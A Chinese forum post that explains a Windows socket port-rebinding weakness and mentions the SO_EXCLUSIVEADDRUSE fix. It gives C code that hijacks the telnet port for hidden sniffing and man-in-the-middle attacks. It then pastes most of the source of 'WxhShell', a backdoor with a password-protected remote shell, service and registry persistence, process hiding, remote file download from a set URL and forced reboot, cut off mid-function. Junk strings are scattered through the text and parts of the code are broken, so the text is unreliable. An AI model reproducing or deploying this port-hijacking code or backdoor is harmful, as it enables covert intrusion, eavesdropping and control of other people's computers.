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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $oj<yH<i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )`7h,w J[1  
Ap9w H[H  
  saddr.sin_family = AF_INET; ^TK)_wx  
:e vc  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /! G0 g%k  
ee` =B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Vo8"/]_h  
?+L6o C.;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *j:5  
YL0RQa  
  这意味着什么?意味着可以进行如下的攻击: x"De 9SB  
. Dxrc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;KN@v5`p  
}CqIKoX.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zKT<QM!`  
8}@a?QS(&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <9ph c  
a8c]B/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Rx2|VD  
'2oBi6|X  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vLS6Gb't  
dBn.DU*B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `d#_66TLr  
/omVM u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +-V?3fQ  
`q*ABsj  
  #include Z] }@#/ n  
  #include 0q!{&p t  
  #include IW*.B6Hw8  
  #include    j pV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s yvi/6  
  int main() {4*%\?c,n  
  { \zyGJyy.  
  WORD wVersionRequested; xbA2R4|  
  DWORD ret; n_glYSV!  
  WSADATA wsaData; &t4(86Bmq  
  BOOL val; Vd~k4  
  SOCKADDR_IN saddr; +N:%`9}2V  
  SOCKADDR_IN scaddr; 0[Aa2H*  
  int err; h 42?^mV4?  
  SOCKET s; YgDasKFm'  
  SOCKET sc; yRDLg c  
  int caddsize; VvKH]>*  
  HANDLE mt; 1tc9STYR}  
  DWORD tid;   |JQ05nb  
  wVersionRequested = MAKEWORD( 2, 2 ); cKAl 0_[f"  
  err = WSAStartup( wVersionRequested, &wsaData ); na)ceN2h  
  if ( err != 0 ) { T94$}- 5/)  
  printf("error!WSAStartup failed!\n"); Q5JeL6t  
  return -1; +^:K#S9U  
  } 1cega1s3xR  
  saddr.sin_family = AF_INET; x]T;W&s  
   u{ /gjv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Jsl,r+'H  
R)z|("%ec  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s#3{c@^3  
  saddr.sin_port = htons(23); :8g \B{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A:Z:&(NtE:  
  { K.~U%v}  
  printf("error!socket failed!\n"); 5N/;'ySAE_  
  return -1; ) |a5Qxz  
  } +0DIN4Y(4  
  val = TRUE; ~Ji A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Fy^\Uw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uv!/DX#  
  { xm5D$m3#  
  printf("error!setsockopt failed!\n"); \=~Ap#Mpc4  
  return -1; )9O{4PbU!  
  } % e(,PL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 107SXYdhI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 EzaOg|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uPPe"$  
gu!A:Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) arJ[.f9s  
  { 3ssio-X  
  ret=GetLastError(); p"Y=  
  printf("error!bind failed!\n"); H Vy^^$  
  return -1; hV)I C9  
  } MRc^lYj{  
  listen(s,2); *RO ~%g  
  while(1) [A47OR  
  { sh 1fz 6g  
  caddsize = sizeof(scaddr); Pcc%VQN  
  //接受连接请求 [nrP; _  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L~~aW0,  
  if(sc!=INVALID_SOCKET) zoU.\]#C  
  { 57r)&8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "7DPsPs  
  if(mt==NULL) [B[J%?NS  
  { PZs  
  printf("Thread Creat Failed!\n"); ?W(f%/B#  
  break; I~I%z'"RQd  
  } F 7=-k/k  
  } -uZ^UG!K  
  CloseHandle(mt); s0u$DM2  
  } gqhW.e}]  
  closesocket(s); "?!IPX2\S  
  WSACleanup(); b8Qm4b?:4  
  return 0; ~oI49Q&{  
  }   6yU~^))bx  
  DWORD WINAPI ClientThread(LPVOID lpParam) #LZ`kSlv4  
  { Jc+U$h4  
  SOCKET ss = (SOCKET)lpParam; 3^\y>  
  SOCKET sc; {BF\G%v;+  
  unsigned char buf[4096]; S.z;Bm  
  SOCKADDR_IN saddr;  7)T+!>  
  long num; >,v~,<3 i  
  DWORD val; 1NTe@r!y  
  DWORD ret; U7W ct %  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =%p"oj]:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M\%{!Wzo8  
  saddr.sin_family = AF_INET; ocMf}"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,#A,+!4  
  saddr.sin_port = htons(23); > h9U~#G=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tv0xfAV  
  { g 0L 4  
  printf("error!socket failed!\n"); O]>Or3oO  
  return -1; km^AX:r1  
  } z(ajR*\#  
  val = 100; khR3[ju{^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I'gnw~  
  { MG6Tk(3S  
  ret = GetLastError(); \yqiv"'  
  return -1; ^V:YNUqp#  
  } &Fi8@0Fh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) La!PG Z{  
  { p4[W@JV  
  ret = GetLastError(); 5^xt/vYa)  
  return -1; PQK_*hJG"  
  } xqr`T0!&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) UaBR;v-.B3  
  { +0OQ"2^&  
  printf("error!socket connect failed!\n"); {`'b+0[;@  
  closesocket(sc); 5q<kt{06\  
  closesocket(ss); 17GyE=Uu  
  return -1; Xk3Ufz]QN  
  } 1Nz\3]-  
  while(1) ka hv1s-  
  { ?z6C8T~+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L=$P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fkYQ3d,`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OV[-m;h|  
  num = recv(ss,buf,4096,0); |!|`Je3 K  
  if(num>0) 0K!9MDT}*  
  send(sc,buf,num,0); yP-Dj ,  
  else if(num==0) >eXNw}_j  
  break; |LQmdgVr$  
  num = recv(sc,buf,4096,0); B[$e;h*Aw[  
  if(num>0) g (~&  
  send(ss,buf,num,0); D"hiEz  
  else if(num==0) yF:fxdpw  
  break; aZ'p:9e  
  } xnLfR6B  
  closesocket(ss); OJ 2M_q)e  
  closesocket(sc); e D}Ga4  
  return 0 ; T:-Uy&pBEN  
  } VS` S@+p  
dU\fC{1Z  
T|m+ULp~  
========================================================== =:b/z1-v  
#: F)A_Y  
下边附上一个代码,,WXhSHELL o 2DnkzpJ  
A;g[G>J  
========================================================== pSAXp# g  
>8VJ!Kg4  
#include "stdafx.h" Ua:EI!`  
-&&mkK B!  
#include <stdio.h> P)H%dJ ^l  
#include <string.h> emHi= [!i  
#include <windows.h> WlY%f}l n  
#include <winsock2.h> PQ5DTk  
#include <winsvc.h> lRrOoON  
#include <urlmon.h> V6!oe^a7'  
#qPk,a  
#pragma comment (lib, "Ws2_32.lib") ^b%AwzHH}  
#pragma comment (lib, "urlmon.lib") 1/gh\9h  
3drgB;:g`  
#define MAX_USER   100 // 最大客户端连接数 H1w;Wb1se  
#define BUF_SOCK   200 // sock buffer +V) (,f1  
#define KEY_BUFF   255 // 输入 buffer QW!'A`*x  
Y8d%L;b[D  
#define REBOOT     0   // 重启 YONg1.^!(  
#define SHUTDOWN   1   // 关机 \C L`j  
r8 xH A  
#define DEF_PORT   5000 // 监听端口 !b 7H  
^a(q7ZfY  
#define REG_LEN     16   // 注册表键长度 u]}Xq{ZN  
#define SVC_LEN     80   // NT服务名长度 |9g*rO  
U3Q'ZT  
// 从dll定义API 4, :D4WYWD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7fVVU+y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w"D"9 G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X:dj5v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y 8P  
$yt|nO  
// wxhshell配置信息 GY!&H"%  
struct WSCFG { _x lgsa  
  int ws_port;         // 监听端口 `w q\K8v  
  char ws_passstr[REG_LEN]; // 口令 7W>T= @  
  int ws_autoins;       // 安装标记, 1=yes 0=no bXJE 2N  
  char ws_regname[REG_LEN]; // 注册表键名 MF1u8Yl:0  
  char ws_svcname[REG_LEN]; // 服务名 WcdU fv(>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PCES&|*rf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H95VU"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hIdGQKr>V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9KP+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1rN&Y,61\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O`2%@%?I  
7#RW4ZM  
}; Ghj6&K%b0  
6q5V*sJ&  
// default Wxhshell configuration AXJC&O}`  
struct WSCFG wscfg={DEF_PORT, \UiuJ+  
    "xuhuanlingzhe", H: U_k68  
    1, u_uC78`p  
    "Wxhshell", )I*V('R6|  
    "Wxhshell", CocvEoE*z  
            "WxhShell Service", ~r{Nc j  
    "Wrsky Windows CmdShell Service", gh~C.>W}q+  
    "Please Input Your Password: ", lr|-_snx2  
  1, F'"-4YV>&  
  "http://www.wrsky.com/wxhshell.exe", bkY7]'.bz&  
  "Wxhshell.exe" z*R"917  
    }; Lrk^<:8;  
0/%zXp&m  
// 消息定义模块 Sy8Og] a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )Ev [o#y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FY VcL*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B (BWdrG  
char *msg_ws_ext="\n\rExit."; VA]%i P,O-  
char *msg_ws_end="\n\rQuit."; is6JS^Q  
char *msg_ws_boot="\n\rReboot..."; ZJx:?*0a  
char *msg_ws_poff="\n\rShutdown..."; Q8P;AN_JS  
char *msg_ws_down="\n\rSave to "; 2. |Y  
*z(.D\{%  
char *msg_ws_err="\n\rErr!"; 3Y=S^*ztd  
char *msg_ws_ok="\n\rOK!"; dCc*<S  
 :&Ul  
char ExeFile[MAX_PATH]; '; qT  
int nUser = 0; Hv%a\WNS1  
HANDLE handles[MAX_USER]; & MAIm56~  
int OsIsNt; SI@I  
H kg0;)  
SERVICE_STATUS       serviceStatus; W}EO]A%f.\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $1w8GI\J  
$[z*MQ  
// 函数声明 63at lq  
int Install(void); 1sgoT f%  
int Uninstall(void); J${wU @_ %  
int DownloadFile(char *sURL, SOCKET wsh); v7g-M  
int Boot(int flag); QN0Ik 2L  
void HideProc(void); #$8tBo  
int GetOsVer(void); y(q1~73s  
int Wxhshell(SOCKET wsl); ]CTu |  
void TalkWithClient(void *cs); jx-W$@  
int CmdShell(SOCKET sock); K%Rx5 S  
int StartFromService(void); ' rXkTm1{  
int StartWxhshell(LPSTR lpCmdLine); r^]0LJ  
&^z~wJ,]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (g   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YAO.Ccz  
44n^21k  
// 数据结构和表定义 uD+;5S]us  
SERVICE_TABLE_ENTRY DispatchTable[] = V57^0^Zp`  
{ MRiETd"  
{wscfg.ws_svcname, NTServiceMain}, lfCoL@$6D  
{NULL, NULL} ;KnnAZJ  
}; <8H`y(S  
ov?>ALRg  
// 自我安装 7=JiL=  
int Install(void) :FK(*BUh  
{ V+E2nJ  
  char svExeFile[MAX_PATH]; vuD tEz  
  HKEY key; r R."_Z2  
  strcpy(svExeFile,ExeFile); >SccoI  
}|x]8zL8G  
// 如果是win9x系统,修改注册表设为自启动 (0Y6tcV]R  
if(!OsIsNt) { d,$[633It}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vls*fY:W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Um*{~=;u  
  RegCloseKey(key); M34*$>bk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Cwt4.5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >bmL;)mc&  
  RegCloseKey(key); l_$~~z ~  
  return 0; R|Ykez!D  
    } T8ZsuKio]  
  } K+n6.BzW  
} f\Pd#$3  
else { Mj[ v _&N  
tdEu4)6  
// 如果是NT以上系统,安装为系统服务 '?q|7[SU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~uV.jh  
if (schSCManager!=0) G`w7dn;&  
{ 4,uH 4[7  
  SC_HANDLE schService = CreateService eoow]me  
  ( i1  
  schSCManager, &L+u]&!6C  
  wscfg.ws_svcname, U|iSJ%K  
  wscfg.ws_svcdisp, ]2tX'=X  
  SERVICE_ALL_ACCESS, .vwOp*3\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =:5yRP  
  SERVICE_AUTO_START, U+nwLxe'  
  SERVICE_ERROR_NORMAL, .(3B}}gB>  
  svExeFile, W4T>@ b.  
  NULL, (3 B; V  
  NULL, ]W]Vkkg]  
  NULL, sgFpZk  
  NULL, ZSHc@r*>  
  NULL :0V<  
  ); yl)}1DPP  
  if (schService!=0) ~,dj)x 3M  
  { IaN|S|n~  
  CloseServiceHandle(schService); ,p0R 4gi  
  CloseServiceHandle(schSCManager); /G\-v2iD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H<"{wUPT0  
  strcat(svExeFile,wscfg.ws_svcname); :Iw)xd1d}\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YQ2ie>C8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m &s0Ub  
  RegCloseKey(key); =XyK/$  
  return 0; fMd]P:B  
    } )7:2v1Xr]  
  } .}2^YOmd  
  CloseServiceHandle(schSCManager); "o% N`Xlx  
} %Wn/)#T|  
} oO!@s`  
YP+0 uZ[g  
return 1; vlx wt~  
} HuCH`|v-  
_! \X>rfz  
// 自我卸载 rAk*~OK  
int Uninstall(void) ' ^n2]<  
{ ^uC1\!Q1  
  HKEY key; J*qepq`_  
HIeWgw^"  
if(!OsIsNt) { +#n5w8T)M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { miEfxim  
  RegDeleteValue(key,wscfg.ws_regname); =]&R6P>  
  RegCloseKey(key); NhXTt!S6C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3,W2CN}  
  RegDeleteValue(key,wscfg.ws_regname); Peh( *D{  
  RegCloseKey(key); $0NWX  
  return 0; hAKyT~[n0  
  } ,~%Qu~\  
} -7hU1j~I  
} 7DXT1+t  
else { I3p ~pt2  
6D@tCmmq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,NPU0IDG>  
if (schSCManager!=0) " #_NA`$i  
{ K4snp u hC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GAEz :n  
  if (schService!=0) vNHM e{,u  
  { >O|hN`  
  if(DeleteService(schService)!=0) { v`bX#\It  
  CloseServiceHandle(schService); )%f]`<o  
  CloseServiceHandle(schSCManager); DTsc&.29^  
  return 0; ;"wU+  
  } &YDb/{|CIC  
  CloseServiceHandle(schService); D9+a"2|3<  
  } '&'? S  
  CloseServiceHandle(schSCManager); ;F"W6G  
} {FteQ@(  
} tbl!{Qwx  
6t<~. 2'  
return 1; Ilsh Jo  
} `yNNpSdS1  
)d_)CuUBe  
// 从指定url下载文件 ]Y}faW(&Y  
int DownloadFile(char *sURL, SOCKET wsh) I?Hj,lN  
{ (SU*fD!t  
  HRESULT hr; YNH>^cD1  
char seps[]= "/"; 3@\vU~=P:  
char *token; [A fV+$  
char *file; Y+F$]!hw  
char myURL[MAX_PATH]; GL9R 5  
char myFILE[MAX_PATH]; (+q?xwl!N  
o#4Wn'E  
strcpy(myURL,sURL); VEd\*  
  token=strtok(myURL,seps); i=#r JK=  
  while(token!=NULL) u ,*$n'l]  
  { )j]S ;Mr  
    file=token; Lb{~a_c  
  token=strtok(NULL,seps); m{I_E G  
  } 6^s]2mMfk  
Z#3wMK~  
GetCurrentDirectory(MAX_PATH,myFILE); fZ 17  
strcat(myFILE, "\\"); Zj[Bm\ 8  
strcat(myFILE, file); )|q,RAn  
  send(wsh,myFILE,strlen(myFILE),0); RHz'Dz>0  
send(wsh,"...",3,0); VsNqYFHes&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !D7 [R'RgY  
  if(hr==S_OK) e(6g|h  
return 0; '[{M"S  
else 4ehajK  
return 1; &:nWZ!D  
n)8bkcZCp+  
} -P!vCf^{ t  
1W "9u   
// 系统电源模块 gPd:>$  
int Boot(int flag) jgVra*   
{ X CDHd ?Ld  
  HANDLE hToken; v'2EYTVNJD  
  TOKEN_PRIVILEGES tkp; \V+$2 :A  
EX='\~Dw  
  if(OsIsNt) { s[SzE6eQ`l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -!I.:97 N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GKZn|<Y|{c  
    tkp.PrivilegeCount = 1; axxd W)+K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @$F(({?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k9w<0h3  
if(flag==REBOOT) { =uYSZR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6jO*rseC  
  return 0; d&n0:xOc  
} .KIAeCvl\  
else { Q4Hf!v]r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pz:$n_XC}  
  return 0; 9 %,_G.  
} ^>72<1U%  
  } L`V6\Ix(I  
  else { L>).o%(R  
if(flag==REBOOT) { i/, G=yA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VX[{X8PkS  
  return 0; ? Ls]k  
} 3|[:8  
else { P(VQD>G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >6@*%LM  
  return 0; "a?k #!E  
} lmz{,O  
} /thCu%%9A  
*$1*\oCtz  
return 1; a' .o  
} 5lxC**NA  
<(>v|5K0]  
// win9x进程隐藏模块 i6h:%n]Io  
void HideProc(void) 3r%I *  
{  /d0LD  
ahhVl=9/ao  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ygd'Nh!@  
  if ( hKernel != NULL ) #D .H2'_}  
  { <T+Pw7X   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $lU~3I)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); __-rP  
    FreeLibrary(hKernel); R0gjx"U  
  } R =mawmQ2  
^r(2 r  
return; j &)|nK;}  
} mucY+k1>g  
]W5s!T_  
// 获取操作系统版本 &pZ]F=.r+  
int GetOsVer(void)  &j2L- )  
{ V<\:iNXX{  
  OSVERSIONINFO winfo; b0rC\^x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A:cc @ku  
  GetVersionEx(&winfo); z }R-J/xr2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q ^n6"&;*  
  return 1; {>5z~OV  
  else V. 1sb pI  
  return 0; ~*LH[l>K  
} qdAz3iye  
lh(A=hn"n  
// 客户端句柄模块 5u~Ik c~  
int Wxhshell(SOCKET wsl) kFw3'OZ,  
{ {1#5\t>9yD  
  SOCKET wsh; Nr|.]=K)5n  
  struct sockaddr_in client; -XPGl  
  DWORD myID; o5BOe1_Pw  
6:330"9  
  while(nUser<MAX_USER) RRV@nDf   
{ rfXM*h  
  int nSize=sizeof(client); HqcXP2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KynQ <I/  
  if(wsh==INVALID_SOCKET) return 1; 8W[QV  
e@L+z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n`vqCO7@'  
if(handles[nUser]==0) e&<#8;2X  
  closesocket(wsh); yJ/m21f  
else YV. *8'*  
  nUser++; WxWgY}`  
  } A}t.`FLP,j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FK }x*d  
U%t:]6d&}  
  return 0; OAOG&6xu8  
} j<"0ym)A  
( J\D"4q  
// 关闭 socket K)_0ej~C  
void CloseIt(SOCKET wsh) M GN*i9CE  
{ yE{l Xp;  
closesocket(wsh); zp% MK+x  
nUser--;  T~ /Bf  
ExitThread(0); j<8_SD=,  
} u vc0"g1h  
C/<fR:`c  
// 客户端请求句柄 v srce  
void TalkWithClient(void *cs) ;s9!ra:3  
{ `vL R;D  
#y-OkGS ^  
  SOCKET wsh=(SOCKET)cs; bsP:tFw>  
  char pwd[SVC_LEN]; 0=t_ a]+  
  char cmd[KEY_BUFF]; H+zQz8zMC  
char chr[1]; O JvEq@  
int i,j; uLe+1`Y5Ux  
dbB2/RI  
  while (nUser < MAX_USER) { *>$'aQ  
sFC1PdSk4T  
if(wscfg.ws_passstr) { A>R ^iu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 43,- t_jV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K*7*`6iU  
  //ZeroMemory(pwd,KEY_BUFF); riFE.;  
      i=0; rouD"cy  
  while(i<SVC_LEN) { nFw&vR/q  
03$Ay_2  
  // 设置超时 [EB2o.E sO  
  fd_set FdRead; B?#@<2*=L  
  struct timeval TimeOut; v@Otp  
  FD_ZERO(&FdRead); Wq&TbWR  
  FD_SET(wsh,&FdRead); 3j]La  
  TimeOut.tv_sec=8; I".d>]16|  
  TimeOut.tv_usec=0; 0t/S_Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0:v7X)St  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P:ys--$"  
*v8Cj(69  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }9 qsPn  
  pwd=chr[0]; XO"!)qF  
  if(chr[0]==0xd || chr[0]==0xa) { #uuwzE*M_  
  pwd=0; }eEF/o  
  break; @<>](4D  
  } lJ}G"RTm  
  i++; sBwkHsDD  
    } <ywxz1i  
TD!QqLW  
  // 如果是非法用户,关闭 socket FRs5 Pb1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d<`Z{"g NS  
} {3_M&$jN  
@zsr.d6Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #/\FB'zC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x*Z"~'DI  
4&$hBn=!  
while(1) { BIw9@.99B-  
^~=o?VtBg  
  ZeroMemory(cmd,KEY_BUFF); `.L8<-]W  
4)v\Dc/9i  
      // 自动支持客户端 telnet标准   < g6 [mS  
  j=0; KXicy_@DC`  
  while(j<KEY_BUFF) { B<8Z?:3YS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [#lPT'l  
  cmd[j]=chr[0]; DFE?H  
  if(chr[0]==0xa || chr[0]==0xd) { 8Vl!&j0s^  
  cmd[j]=0; j><.tA~i  
  break; li/IKS)e$  
  } _wZ(%(^I  
  j++; `=q)-y_C  
    } +SUQRDF@i  
Yw?%>L  
  // 下载文件 JfKl=vg  
  if(strstr(cmd,"http://")) { D' uzH|z8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rb`C:#j{J  
  if(DownloadFile(cmd,wsh)) e-UPu%'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qI8{JcFx:  
  else xCoQ>.4p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]%>;R^HY  
  } -_b}b)2iYN  
  else { 42Kzdo|}  
@105 @9F  
    switch(cmd[0]) { R4@C>\c %m  
  R^%7|  
  // 帮助 NBUM* Z  
  case '?': { @B+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D$#=;H ,  
    break; {{@3r5K Gl  
  } |M9x&(H;Hw  
  // 安装 :t\PYDp1  
  case 'i': { J]fjg%C2m  
    if(Install()) A3Ltk 2<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bz /NFNi[p  
    else BE%#4c.b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HbZ3QWP  
    break; }1X,~y]  
    } A g/z\kX  
  // 卸载 9FJU'$FN  
  case 'r': { h +N75  
    if(Uninstall()) $Iqt c)DA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T][\wyLx1  
    else Q\ro )r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 33"{"2==`  
    break; ;rd!kFd#bq  
    } x<9|t(  
  // 显示 wxhshell 所在路径 )Cu"M #`  
  case 'p': { 0o`0Td  
    char svExeFile[MAX_PATH]; lt}|Y9h  
    strcpy(svExeFile,"\n\r"); G ^r^" j  
      strcat(svExeFile,ExeFile); LB2 2doW  
        send(wsh,svExeFile,strlen(svExeFile),0); 4i/TEHQ  
    break; [S3X  
    } Fv#ToT:QXe  
  // 重启 < 8WS YZ  
  case 'b': { s&8QRI.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?z Ms;  
    if(Boot(REBOOT)) `9b D%M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <(s+  
    else { s{< rc>  
    closesocket(wsh); X#+A?>Z]}<  
    ExitThread(0); 1wGd5>GDA  
    } NZdQz  
    break; {PYN3\N,  
    } 64b9.5Bn  
  // 关机 8.]dThaq  
  case 'd': { B6$s*SXNp  
